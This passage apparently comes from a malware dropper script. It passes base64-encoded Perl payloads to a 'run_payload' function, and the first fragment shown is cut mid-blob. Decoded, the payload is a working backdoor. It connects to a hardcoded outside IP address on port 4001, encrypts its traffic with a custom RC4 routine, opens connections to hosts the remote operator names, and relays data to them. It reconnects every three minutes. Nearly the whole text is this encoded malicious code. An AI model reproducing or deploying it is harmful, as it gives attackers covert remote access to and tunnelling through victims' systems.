nN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_4.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUzJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgf